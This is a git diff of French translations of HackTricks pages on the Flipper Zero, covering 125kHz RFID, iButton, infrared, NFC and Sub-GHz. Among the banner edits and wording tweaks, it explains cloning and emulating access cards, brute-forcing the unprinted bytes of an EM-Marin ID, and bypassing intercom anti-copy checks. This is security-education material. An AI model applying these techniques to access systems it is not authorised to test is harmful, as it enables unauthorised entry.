**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** diff --git a/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md b/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md index 63d6749bf..7db413ca6 100644 --- a/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md +++ b/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md @@ -1,22 +1,22 @@ -# FZ - RFID 125kHz +# FZ - 125kHz RFID
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-## Intro +## Introduction -Pour plus d'informations sur le fonctionnement des tags RFID 125kHz, consultez : +Pour plus d'informations sur le fonctionnement des balises 125 kHz, consultez : {% content-ref url="../../../radio-hacking/pentesting-rfid.md" %} [pentesting-rfid.md](../../../radio-hacking/pentesting-rfid.md) @@ -24,34 +24,34 @@ Pour plus d'informations sur le fonctionnement des tags RFID 125kHz, consultez : ## Actions -Pour plus d'informations sur ces types de tags, [**lisez cette introduction**](../../../radio-hacking/pentesting-rfid.md#low-frequency-rfid-tags-125khz). +Pour plus d'informations sur ces types de balises, [**lisez cette introduction**](../../../radio-hacking/pentesting-rfid.md#low-frequency-rfid-tags-125khz). ### Lire -Essaie de **lire** les informations de la carte. Ensuite, il peut les **émuler**. +Tente de **lire** les informations de la carte. Ensuite, il peut les **émuler**. {% hint style="warning" %} -Notez que certains interphones essaient de se protéger contre la duplication de clés en envoyant une commande d'écriture avant la lecture. Si l'écriture réussit, ce tag est considéré comme faux. Lorsque Flipper émule un RFID, il n'y a aucun moyen pour le lecteur de le distinguer de l'original, donc aucun problème de ce type ne se produit. +Notez que certains interphones tentent de se protéger contre la duplication de clés en envoyant une commande d'écriture avant la lecture. Si l'écriture réussit, cette balise est considérée comme fausse. Lorsque Flipper émule RFID, il n'y a aucun moyen pour le lecteur de le distinguer de l'original, donc de tels problèmes ne se produisent pas. {% endhint %} -### Ajouter Manuellement +### Ajouter manuellement -Vous pouvez créer des **cartes factices dans Flipper Zero en indiquant les données** que vous entrez manuellement, puis les émuler. +Vous pouvez créer des **cartes factices dans Flipper Zero en indiquant les données** manuellement, puis les émuler. #### IDs sur les cartes -Parfois, lorsque vous obtenez une carte, vous trouverez l'ID (ou une partie) écrit sur la carte visible. +Parfois, lorsque vous obtenez une carte, vous trouverez l'ID (ou une partie) écrit sur la carte de manière visible. -* **EM Marin** +- **EM Marin** -Par exemple, sur cette carte EM-Marin, il est possible de **lire les 3 derniers octets sur 5 en clair** sur la carte physique.\ -Les 2 autres peuvent être forcés par brute-force si vous ne pouvez pas les lire sur la carte. +Par exemple, sur cette carte EM-Marin, il est possible de **lire les 3 derniers octets sur 5 en clair**.\ +Les 2 autres peuvent être forcés si vous ne pouvez pas les lire sur la carte.
-* **HID** +- **HID** -Il en va de même pour cette carte HID où seulement 2 octets sur 3 peuvent être trouvés imprimés sur la carte +Il en va de même pour cette carte HID où seuls 2 octets sur 3 peuvent être trouvés imprimés sur la carte
@@ -65,14 +65,14 @@ Après avoir **copié** une carte ou **entré** l'ID **manuellement**, il est po
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/todo/radio-hacking/flipper-zero/fz-ibutton.md b/todo/radio-hacking/flipper-zero/fz-ibutton.md index 886cb74dc..cb9610420 100644 --- a/todo/radio-hacking/flipper-zero/fz-ibutton.md +++ b/todo/radio-hacking/flipper-zero/fz-ibutton.md @@ -2,19 +2,19 @@
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-## Intro +## Introduction Pour plus d'informations sur ce qu'est un iButton, consultez : @@ -24,15 +24,15 @@ Pour plus d'informations sur ce qu'est un iButton, consultez : ## Conception -La partie **bleue** de l'image suivante montre comment vous devez **placer le véritable iButton** pour que le Flipper puisse **le lire**. La partie **verte** montre comment vous devez **toucher le lecteur** avec le Flipper Zero pour **émuler correctement un iButton**. +La partie **bleue** de l'image suivante est l'endroit où vous devriez **placer le vrai iButton** pour que le Flipper puisse le **lire**. La partie **verte** est l'endroit où vous devez **toucher le lecteur** avec le Flipper zero pour **émuler correctement un iButton**.
## Actions -### Lire +### Lecture -En mode lecture, le Flipper attend que la clé iButton soit en contact et peut lire l'un des trois types de clés : **Dallas, Cyfral et Metakom**. Le Flipper **déterminera lui-même le type de clé**. Le nom du protocole de la clé sera affiché à l'écran au-dessus du numéro d'identification. +En mode Lecture, le Flipper attend que la clé iButton soit touchée et est capable de lire trois types de clés : **Dallas, Cyfral et Metakom**. Le Flipper **déterminera le type de clé automatiquement**. Le nom du protocole de la clé sera affiché à l'écran au-dessus du numéro d'identification. ### Ajouter manuellement @@ -43,7 +43,7 @@ Il est possible d'**ajouter manuellement** un iButton de type : **Dallas, Cyfral Il est possible d'**émuler** des iButtons enregistrés (lus ou ajoutés manuellement). {% hint style="info" %} -Si vous ne pouvez pas faire en sorte que les contacts attendus du Flipper Zero touchent le lecteur, vous pouvez **utiliser le GPIO externe :** +Si vous ne parvenez pas à faire en sorte que les contacts attendus du Flipper Zero touchent le lecteur, vous pouvez **utiliser le GPIO externe :** {% endhint %}
@@ -54,14 +54,14 @@ Si vous ne pouvez pas faire en sorte que les contacts attendus du Flipper Zero t
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/todo/radio-hacking/flipper-zero/fz-infrared.md b/todo/radio-hacking/flipper-zero/fz-infrared.md index 184b7dc07..f9c669554 100644 --- a/todo/radio-hacking/flipper-zero/fz-infrared.md +++ b/todo/radio-hacking/flipper-zero/fz-infrared.md @@ -2,13 +2,13 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@@ -26,7 +26,7 @@ Flipper utilise un récepteur de signal IR numérique TSOP, qui **permet d'inter Le récepteur infrarouge de Flipper est assez sensible. Vous pouvez même **capturer le signal** en restant **quelque part entre** la télécommande et la télévision. Il n'est pas nécessaire de pointer la télécommande directement vers le port IR de Flipper. Cela est pratique lorsque quelqu'un change de chaîne en étant près de la télévision, et que vous et Flipper êtes à une certaine distance. -Comme le **décodage du signal infrarouge** se fait du côté **logiciel**, Flipper Zero prend en charge potentiellement la **réception et la transmission de codes de télécommande IR**. En cas de **protocoles inconnus** qui ne peuvent pas être reconnus, il **enregistre et rejoue** le signal brut tel qu'il a été reçu. +Comme le **décodage du signal infrarouge** se fait du côté **logiciel**, Flipper Zero prend en charge potentiellement la **réception et la transmission de tous les codes de télécommande IR**. En cas de **protocoles inconnus** qui ne peuvent pas être reconnus, il **enregistre et rejoue** le signal brut exactement tel qu'il a été reçu. ## Actions @@ -40,21 +40,21 @@ Une telle attaque en force brute prend du temps. Plus le dictionnaire est grand, ### Apprendre une Nouvelle Télécommande -Il est possible de **capturer un signal infrarouge** avec Flipper Zero. S'il **trouve le signal dans la base de données**, Flipper saura automatiquement **quel appareil il s'agit** et vous permettra d'interagir avec lui.\ -Sinon, Flipper peut **stocker** le **signal** et vous permettra de le **rejouer**. +Il est possible de **capturer un signal infrarouge** avec Flipper Zero. Si il **trouve le signal dans la base de données**, Flipper saura automatiquement **quel appareil il s'agit** et vous permettra d'interagir avec lui.\ +Si ce n'est pas le cas, Flipper peut **stocker** le **signal** et vous permettra de le **rejouer**. ## Références -* [https://blog.flipperzero.one/infrared/](https://blog.flipperzero.one/infrared/) +* [https://blog.flipperzero.one/infrared/](https://blog.flipperzero.one/infrared/)
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/todo/radio-hacking/flipper-zero/fz-nfc.md b/todo/radio-hacking/flipper-zero/fz-nfc.md index fc84a86fa..28c6717a5 100644 --- a/todo/radio-hacking/flipper-zero/fz-nfc.md +++ b/todo/radio-hacking/flipper-zero/fz-nfc.md @@ -2,13 +2,13 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -* Travaillez-vous dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@@ -36,32 +36,32 @@ En plus des cartes NFC, Flipper Zero prend en charge **d'autres types de cartes De nouveaux types de cartes NFC seront ajoutés à la liste des cartes prises en charge. Flipper Zero prend en charge les cartes NFC de type A suivantes (ISO 14443A) : -* **Cartes bancaires (EMV)** — lit uniquement l'UID, le SAK et l'ATQA sans les sauvegarder. -* **Cartes inconnues** — lit (UID, SAK, ATQA) et émule un UID. +* **Cartes bancaires (EMV)** — seulement lire UID, SAK et ATQA sans enregistrement. +* **Cartes inconnues** — lire (UID, SAK, ATQA) et émuler un UID. -Pour les **cartes NFC de type B, type F et type V**, Flipper Zero est capable de lire un UID sans le sauvegarder. +Pour les **cartes NFC de type B, type F et type V**, Flipper Zero est capable de lire un UID sans l'enregistrer. ### Cartes NFC de type A #### Carte bancaire (EMV) -Flipper Zero peut seulement lire un UID, SAK, ATQA et les données stockées sur les cartes bancaires **sans les sauvegarder**. +Flipper Zero peut seulement lire un UID, SAK, ATQA et les données stockées sur les cartes bancaires **sans enregistrement**. -Écran de lecture de carte bancairePour les cartes bancaires, Flipper Zero peut seulement lire les données **sans les sauvegarder et les émuler**. +Écran de lecture de carte bancairePour les cartes bancaires, Flipper Zero peut seulement lire les données **sans les enregistrer et les émuler**.
#### Cartes inconnues -Lorsque Flipper Zero est **incapable de déterminer le type de carte NFC**, seuls un **UID, SAK et ATQA** peuvent être **lus et sauvegardés**. +Lorsque Flipper Zero est **incapable de déterminer le type de carte NFC**, alors seulement un **UID, SAK et ATQA** peuvent être **lus et enregistrés**. -Écran de lecture de carte inconnuePour les cartes NFC inconnues, Flipper Zero peut émuler uniquement un UID. +Écran de lecture de carte inconnuePour les cartes NFC inconnues, Flipper Zero peut émuler seulement un UID.
### Cartes NFC de types B, F et V -Pour les **cartes NFC de types B, F et V**, Flipper Zero peut seulement **lire et afficher un UID** sans le sauvegarder. +Pour les **cartes NFC de types B, F et V**, Flipper Zero peut seulement **lire et afficher un UID** sans l'enregistrer.
@@ -71,7 +71,7 @@ Pour une introduction sur les NFC [**lisez cette page**](../../../radio-hacking/ ### Lecture -Flipper Zero peut **lire les cartes NFC**, cependant, il **ne comprend pas tous les protocoles** basés sur l'ISO 14443. Cependant, comme **l'UID est un attribut de bas niveau**, vous pourriez vous retrouver dans une situation où **l'UID est déjà lu, mais le protocole de transfert de données de haut niveau est encore inconnu**. Vous pouvez lire, émuler et saisir manuellement l'UID en utilisant Flipper pour les lecteurs primitifs qui utilisent l'UID pour l'autorisation. +Flipper Zero peut **lire les cartes NFC**, cependant, il ne **comprend pas tous les protocoles** basés sur l'ISO 14443. Cependant, puisque **l'UID est un attribut de bas niveau**, vous pourriez vous retrouver dans une situation où **l'UID est déjà lu, mais le protocole de transfert de données de haut niveau est encore inconnu**. Vous pouvez lire, émuler et saisir manuellement l'UID en utilisant Flipper pour les lecteurs primitifs qui utilisent l'UID pour l'autorisation. #### Lecture de l'UID VS Lecture des données à l'intérieur @@ -79,10 +79,10 @@ Flipper Zero peut **lire les cartes NFC**, cependant, il **ne comprend pas tous Dans Flipper, la lecture des tags à 13,56 MHz peut être divisée en deux parties : -* **Lecture de bas niveau** — lit uniquement l'UID, SAK et ATQA. Flipper tente de deviner le protocole de haut niveau en se basant sur ces données lues sur la carte. Vous ne pouvez pas être sûr à 100 % avec cela, car il s'agit simplement d'une hypothèse basée sur certains facteurs. +* **Lecture de bas niveau** — lit uniquement l'UID, SAK et ATQA. Flipper essaie de deviner le protocole de haut niveau basé sur ces données lues sur la carte. Vous ne pouvez pas être sûr à 100 % avec cela, car c'est juste une supposition basée sur certains facteurs. * **Lecture de haut niveau** — lit les données de la mémoire de la carte en utilisant un protocole de haut niveau spécifique. Cela consisterait à lire les données sur un Mifare Ultralight, lire les secteurs d'un Mifare Classic, ou lire les attributs de la carte de PayPass/Apple Pay. -### Lecture Spécifique +### Lecture spécifique Dans le cas où Flipper Zero n'est pas capable de trouver le type de carte à partir des données de bas niveau, dans `Actions supplémentaires` vous pouvez sélectionner `Lire un type de carte spécifique` et **indiquer manuellement** **le type de carte que vous souhaitez lire**. @@ -103,12 +103,12 @@ Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapi
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -* Travaillez-vous dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/todo/radio-hacking/flipper-zero/fz-sub-ghz.md b/todo/radio-hacking/flipper-zero/fz-sub-ghz.md index 132e6f45b..0ae5259be 100644 --- a/todo/radio-hacking/flipper-zero/fz-sub-ghz.md +++ b/todo/radio-hacking/flipper-zero/fz-sub-ghz.md @@ -2,114 +2,114 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-Trouvez les vulnérabilités les plus importantes pour les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans toute votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. +Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} *** -## Intro +## Introduction -Flipper Zero peut **recevoir et transmettre des fréquences radio dans la gamme de 300-928 MHz** avec son module intégré, qui peut lire, sauvegarder et émuler des télécommandes. Ces commandes sont utilisées pour interagir avec des portails, barrières, serrures radio, interrupteurs télécommandés, sonnettes sans fil, lumières intelligentes, et plus encore. Flipper Zero peut vous aider à apprendre si votre sécurité est compromise. +Flipper Zero peut **recevoir et transmettre des fréquences radio dans la plage de 300 à 928 MHz** avec son module intégré, qui peut lire, enregistrer et émuler des télécommandes. Ces télécommandes sont utilisées pour interagir avec des portails, des barrières, des serrures radio, des interrupteurs de télécommande, des sonnettes sans fil, des lumières intelligentes, et plus encore. Flipper Zero peut vous aider à découvrir si votre sécurité est compromise.
## Matériel Sub-GHz -Flipper Zero possède un module sub-1 GHz intégré basé sur une [](https://www.st.com/en/nfc/st25r3916.html#overview)[puce CC1101](https://www.ti.com/lit/ds/symlink/cc1101.pdf) et une antenne radio (la portée maximale est de 50 mètres). La puce CC1101 et l'antenne sont conçues pour fonctionner à des fréquences dans les bandes 300-348 MHz, 387-464 MHz et 779-928 MHz. +Flipper Zero possède un module sub-1 GHz intégré basé sur une [](https://www.st.com/en/nfc/st25r3916.html#overview)puce CC1101 et une antenne radio (la portée maximale est de 50 mètres). La puce CC1101 et l'antenne sont conçues pour fonctionner à des fréquences dans les bandes de 300-348 MHz, 387-464 MHz et 779-928 MHz.
